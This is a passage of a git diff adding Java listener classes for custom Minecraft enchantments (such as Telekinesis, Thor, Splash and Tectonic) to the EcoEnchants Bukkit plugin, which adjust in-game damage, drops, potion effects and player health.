this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "drops").forEach(material -> { + potentialDrops.add(Material.getMaterial(material.toUpperCase())); + }); + + Collections.shuffle(potentialDrops, new Random(Rand.randInt(0, 100000))); + ItemStack drop = new ItemStack(potentialDrops.get(0), 1); + + new DropQueue(player) + .addItem(drop) + .setItem(item) + .setLocation(trident.getLocation()) + .push(); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spiked.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spiked.java new file mode 100644 index 00000000..fce892b3 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spiked.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerFishEvent; + +@SuppressWarnings("deprecation") +public class Spiked extends EcoEnchant { + public Spiked() { + super( + new EcoEnchantBuilder("spiked", EnchantmentType.NORMAL, Target.Applicable.ROD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onFish(PlayerFishEvent event) { + if(!event.getState().equals(PlayerFishEvent.State.CAUGHT_ENTITY)) + return; + + if(!(event.getCaught() instanceof LivingEntity)) + return; + + Player player = event.getPlayer(); + + LivingEntity victim = (LivingEntity) event.getCaught(); + + if(victim.hasMetadata("NPC")) return; + + if(!AntiGrief.canInjureMob(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damagePerLevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level"); + double damage = damagePerLevel * level; + victim.damage(damage, player); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Splash.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Splash.java new file mode 100644 index 00000000..2f025fcb --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Splash.java @@ -0,0 +1,62 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.*; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.entity.ProjectileHitEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Splash extends EcoEnchant { + public Splash() { + super( + new EcoEnchantBuilder("splash", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onSplashLand(ProjectileHitEvent event) { + if (event.getEntityType() != EntityType.TRIDENT) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof Trident)) return; + + + + Trident trident = (Trident) event.getEntity(); + Player player = (Player) event.getEntity().getShooter(); + + ItemStack item = TridentStack.getTridentStack(trident); + + if (!HasEnchant.item(item, this)) return; + + int level = HasEnchant.getItemLevel(item, this); + + double radius = level * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "radius-multiplier"); + double damage = level * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level"); + + for (Entity e : trident.getNearbyEntities(radius, radius, radius)) { + if(e.hasMetadata("NPC")) continue; + + if (!(e instanceof LivingEntity)) continue; + LivingEntity entity = (LivingEntity) e; + if(e.equals(player)) continue; + + Bukkit.getPluginManager().callEvent(new EntityDamageByEntityEvent(trident, entity, EntityDamageEvent.DamageCause.ENTITY_ATTACK, damage)); + entity.damage(damage, trident); + } + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stab.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stab.java new file mode 100644 index 00000000..d9a5de84 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stab.java @@ -0,0 +1,46 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Stab extends EcoEnchant { + public Stab() { + super( + new EcoEnchantBuilder("stab", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void stabHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double baseDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-base"); + double perLevelDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level"); + double damage = baseDamage + (level * perLevelDamage); + + event.setDamage(event.getDamage() + damage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stamina.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stamina.java new file mode 100644 index 00000000..8a6ff62a --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stamina.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.FoodLevelChangeEvent; + +@SuppressWarnings("deprecation") +public class Stamina extends EcoEnchant { + public Stamina() { + super( + new EcoEnchantBuilder("stamina", EnchantmentType.NORMAL, Target.Applicable.BOOTS, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onStaminaHunger(FoodLevelChangeEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if(!player.isSprinting()) return; + + if(!HasEnchant.playerHelmet(player, this)) return; + if(event.getFoodLevel() > player.getFoodLevel()) return; + + int level = HasEnchant.getPlayerBootsLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + + if (Rand.randFloat(0, 1) > level * 0.01 * chance) + return; + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StoneSwitcher.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StoneSwitcher.java new file mode 100644 index 00000000..e5878ef7 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StoneSwitcher.java @@ -0,0 +1,71 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.queue.DropQueue; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.EqualIfOver; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.GameMode; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class StoneSwitcher extends EcoEnchant { + public StoneSwitcher() { + super( + new EcoEnchantBuilder("stone_switcher", EnchantmentType.NORMAL, Target.Applicable.PICKAXE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void stoneSwitcherBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (player.getGameMode() == GameMode.CREATIVE || player.getGameMode() == GameMode.SPECTATOR) + return; + + if(!block.getType().equals(Material.STONE)) return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + + if(Rand.randFloat(0, 1) > level * chance * 0.01) + return; + + event.setDropItems(false); + + Material material; + double random = Rand.randFloat(0, 1); + double band = 1/(double) this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "blocks").size(); + int selectedIndex = (int) Math.floor(random/band); + selectedIndex = EqualIfOver.equalIfOver(selectedIndex, this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "blocks").size() - 1); + String materialName = this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "blocks").get(selectedIndex); + material = Material.getMaterial(materialName.toUpperCase()); + if(material == null) material = Material.COBBLESTONE; + + ItemStack item = new ItemStack(material, 1); + + new DropQueue(player) + .setLocation(block.getLocation()) + .addItem(item) + .push(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StrayAspect.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StrayAspect.java new file mode 100644 index 00000000..ec6fedbd --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StrayAspect.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class StrayAspect extends EcoEnchant { + public StrayAspect() { + super( + new EcoEnchantBuilder("stray_aspect", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void strayAspectHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + victim.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, level * 10, level)); + victim.addPotionEffect(new PotionEffect(PotionEffectType.SLOW_DIGGING, level * 10, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Succession.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Succession.java new file mode 100644 index 00000000..173b2963 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Succession.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.ItemDurability; +import org.bukkit.Bukkit; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.AbstractArrow; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityShootBowEvent; + +@SuppressWarnings("deprecation") +public class Succession extends EcoEnchant { + public Succession() { + super( + new EcoEnchantBuilder("succession", EnchantmentType.NORMAL, Target.Applicable.BOW, 4.01) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onSuccessionShoot(EntityShootBowEvent event) { + if (event.getProjectile().getType() != EntityType.ARROW) + return; + + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int number = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "extra-arrows"); + + boolean fire = HasEnchant.playerHeld(player, Enchantment.ARROW_FIRE); + + + for (int i = 1; i <= number; i++) { + Bukkit.getScheduler().scheduleSyncDelayedTask(Main.getInstance(), () -> { + Arrow arrow = player.launchProjectile(Arrow.class, event.getProjectile().getVelocity()); + arrow.setPickupStatus(AbstractArrow.PickupStatus.DISALLOWED); + if(fire) arrow.setFireTicks(Integer.MAX_VALUE); + + if (this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "per-arrow-damage")) { + ItemDurability.damageItem(player, player.getInventory().getItemInMainHand(), 1, player.getInventory().getHeldItemSlot()); + } + }, i * 2); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Supercritical.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Supercritical.java new file mode 100644 index 00000000..d828d59f --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Supercritical.java @@ -0,0 +1,52 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Supercritical extends EcoEnchant { + public Supercritical() { + super( + new EcoEnchantBuilder("supercritical", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void supercriticalHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (!(((LivingEntity) event.getEntity()).getHealth() == ((LivingEntity) event.getEntity()).getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue())) + return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + event.setDamage(event.getDamage() * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier")); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sycophant.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sycophant.java new file mode 100644 index 00000000..69197e65 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sycophant.java @@ -0,0 +1,46 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Sycophant extends EcoEnchant { + public Sycophant() { + super( + new EcoEnchantBuilder("sycophant", EnchantmentType.NORMAL, Target.Applicable.SHIELD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onBlock(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if(!player.isBlocking()) return; + + int level; + if (!HasEnchant.playerOffhand(player, this) && !HasEnchant.playerHeld(player, this)) return; + if(HasEnchant.playerOffhand(player, this)) level = HasEnchant.getPlayerOffhandLevel(player, this); + else level = HasEnchant.getPlayerLevel(player, this); + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double amountToHeal = damage * level * multiplier; + double newHealth = player.getHealth() + amountToHeal; + if (newHealth > player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue()) { + newHealth = player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue(); + } + player.setHealth(newHealth); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tectonic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tectonic.java new file mode 100644 index 00000000..5cbad362 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tectonic.java @@ -0,0 +1,52 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Entity; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +import java.util.Collection; + +@SuppressWarnings("deprecation") +public class Tectonic extends EcoEnchant { + public Tectonic() { + super( + new EcoEnchantBuilder("tectonic", EnchantmentType.NORMAL, Target.Applicable.BOOTS, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onTecFall(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if (!event.getCause().equals(EntityDamageEvent.DamageCause.FALL)) + return; + + if (!HasEnchant.playerBoots(player, this)) return; + + int radius = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "initial-radius") + (this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "per-level-radius") * HasEnchant.getPlayerBootsLevel(player, this) - 1); + int damage = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "initial-damage") + (this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "per-level-damage") * HasEnchant.getPlayerBootsLevel(player, this) - 1); + + + Collection entities = player.getWorld().getNearbyEntities(player.getLocation(), radius, 2, radius); + + for (Entity entity : entities) { + if (entity.equals(player)) + continue; + entity.teleport(entity.getLocation().add(0, 0.3, 0)); + ((LivingEntity) entity).damage(damage); + } + } + +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Telekinesis.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Telekinesis.java new file mode 100644 index 00000000..aff95a22 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Telekinesis.java @@ -0,0 +1,131 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.events.entitydeathbyentity.EntityDeathByEntityEvent; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.queue.DropQueue; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.GameMode; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.event.block.BlockDropItemEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; + +public class Telekinesis extends EcoEnchant { + public Telekinesis() { + super( + new EcoEnchantBuilder("telekinesis", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.TOOL, Target.Applicable.SWORD, Target.Applicable.TRIDENT, Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.11) + ); + } + + // START OF LISTENERS + + @EventHandler(priority = EventPriority.HIGH) + public void telekinesisDropItem(BlockDropItemEvent event) { + Player player = event.getPlayer(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (event.isCancelled()) return; + + Block block = event.getBlock(); + + if (!AntiGrief.canBreakBlock(player, block)) return; + + List drops = new ArrayList<>(); + event.getItems().forEach((item -> { + drops.add(item.getItemStack()); + })); + + event.getItems().clear(); + + new DropQueue(player) + .setLocation(block.getLocation()) + .addItems(drops) + .push(); + + player.updateInventory(); + } + + @EventHandler(priority = EventPriority.HIGH) + public void telekinesisBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (player.getGameMode() == GameMode.CREATIVE || player.getGameMode() == GameMode.SPECTATOR) + return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + if(block.getType().equals(Material.SPAWNER)) event.setExpToDrop(0); + + new DropQueue(player) + .setLocation(block.getLocation()) + .addXP(event.getExpToDrop()) + .push(); + + event.setExpToDrop(0); + } + + @EventHandler(priority = EventPriority.HIGH) + public void telekinesisKill(EntityDeathByEntityEvent event) { + Player player = null; + LivingEntity entity = event.getVictim(); + ItemStack item = null; + + if(entity instanceof Player && this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "not-on-players")) + return; + + if(event.getKiller() instanceof Player) { + player = (Player) event.getKiller(); + item = player.getInventory().getItemInMainHand(); + } else if(event.getKiller() instanceof Arrow) { + if(((Arrow) event.getKiller()).getShooter() instanceof Player) { + player = (Player) ((Arrow) event.getKiller()).getShooter(); + item = player.getInventory().getItemInMainHand(); + } + } else if(event.getKiller() instanceof Trident) { + if(((Trident) event.getKiller()).getShooter() instanceof Player) { + player = (Player) ((Trident) event.getKiller()).getShooter(); + item = TridentStack.getTridentStack((Trident) event.getKiller()); + } + } + + if(player == null || item == null) return; + + if (!HasEnchant.item(item, this)) return; + + int xp = event.getDroppedExp(); + Collection drops = event.getDrops(); + + new DropQueue(player) + .addItems(drops) + .setLocation(entity.getLocation()) + .addXP(xp) + .forceTelekinesis() + .push(); + + event.getDeathEvent().setDroppedExp(0); + event.getDeathEvent().getDrops().clear(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thor.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thor.java new file mode 100644 index 00000000..7b1d29af --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thor.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Lightning; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Thor extends EcoEnchant { + public Thor() { + super( + new EcoEnchantBuilder("thor", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void thorHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + double damage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "lightning-damage"); + + Lightning.strike(victim, damage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thrive.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thrive.java new file mode 100644 index 00000000..51eca7a5 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thrive.java @@ -0,0 +1,60 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.events.armorequip.ArmorEquipEvent; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitRunnable; + +@SuppressWarnings("deprecation") +public class Thrive extends EcoEnchant { + public Thrive() { + super( + new EcoEnchantBuilder("thrive", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onArmorEquip(ArmorEquipEvent event) { + final Player player = event.getPlayer(); + + new BukkitRunnable() { + public void run() { + int totalProsperityPoints = HasEnchant.getArmorPoints(player, EcoEnchants.PROSPERITY, false); + int totalThrivePoints = HasEnchant.getArmorPoints(player, EcoEnchants.THRIVE, false); + if (totalThrivePoints == 0 && totalProsperityPoints == 0) { + player.getAttribute(Attribute.GENERIC_MAX_HEALTH).setBaseValue(player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getDefaultValue()); + return; + } + + double thriveBonus = totalThrivePoints * EcoEnchants.THRIVE.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "health-per-point"); + double prosperityBonus = totalProsperityPoints * EcoEnchants.PROSPERITY.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "health-per-point"); + double bonus = thriveBonus + prosperityBonus; + + boolean onMaxHealth = false; + if (player.getHealth() == player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue()) + onMaxHealth = true; + + player.getAttribute(Attribute.GENERIC_MAX_HEALTH).setBaseValue(player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getDefaultValue() + bonus); + boolean finalOnMaxHealth = onMaxHealth; + new 